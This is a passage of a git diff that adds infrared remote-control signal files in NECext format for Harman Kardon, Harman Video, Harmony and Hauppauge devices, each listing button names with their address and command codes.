signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 25 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 31 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir new file mode 100644 index 000000000..54b10a2d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: QUIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir new file mode 100644 index 000000000..cc14f26a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F0 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F1 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F2 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F3 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F4 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F5 00 00 00 +# +name: SCROLL_FOWARD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F6 00 00 00 +# +name: SCROLL_BACK +type: parsed +protocol: NECext +address: 82 72 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir new file mode 100644 index 000000000..eca5b25c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: OFF.ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir new file mode 100644 index 000000000..54b10a2d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: QUIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir new file mode 100644 index 000000000..0ddf0709b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: 4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 12 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 14 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 17 00 00 00 +# +name: L1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 18 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1A 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: TRIANGLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 34 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 38 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 52 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 53 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 54 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5A 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5B 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5C 00 00 00 +# +name: CIRCLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 6C 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 71 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 72 00 00 00 +# +name: POP_UP_MENU +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 73 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 74 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 75 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 76 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 77 00 00 00 +# +name: L2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 78 00 00 00 +# +name: L3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 79 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7C 00 00 00 +# +name: PS +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7D 00 00 00 +# +name: START +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7F 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 94 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 9A 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: AB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: B2 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: B4 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: BA 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: BC 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: C2 00 00 00 +# +name: CROSS +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: C7 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: D2 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: D4 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: DA 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: DC 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: E2 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: EA 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: F4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir new file mode 100644 index 000000000..6d92bdcb1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 09 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0D 00 00 00 +# +name: dotcc +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0E 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 10 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 11 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 12 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 14 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 15 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 16 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 17 00 00 00 +# +name: choice +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1B 00 00 00 +# +name: live +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1C 00 00 00 +# +name: redo +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1E 00 00 00 +# +name: exit +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1F 00 00 00 +# +name: chanup +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 20 00 00 00 +# +name: chandown +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 21 00 00 00 +# +name: undo +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 24 00 00 00 +# +name: ok +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 25 00 00 00 +# +name: enter +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 25 00 00 00 +# +name: pause +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 30 00 00 00 +# +name: rewind +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: forward +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: play +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 35 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 37 00 00 00 +# +name: home +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir new file mode 100644 index 000000000..e23e208f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_FN_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 37 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 38 00 00 00 +# +name: KEY_GOTO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3B 00 00 00 +# +name: KEY_FN_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir new file mode 100644 index 000000000..0b6ca124b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 09 00 00 00 +# +name: Timers +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 17 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 25 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 29 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 30 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 30 00 00 00 +# +name: FastRwd +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 37 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 37 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 38 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1E 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir new file mode 100644 index 000000000..85c67e89c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 09 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 17 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 24 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 25 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 30 00 00 00 +# +name: FastRewind +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 37 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir new file mode 100644 index 000000000..51b8c95f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: WINButton +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: VolumeMute +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# 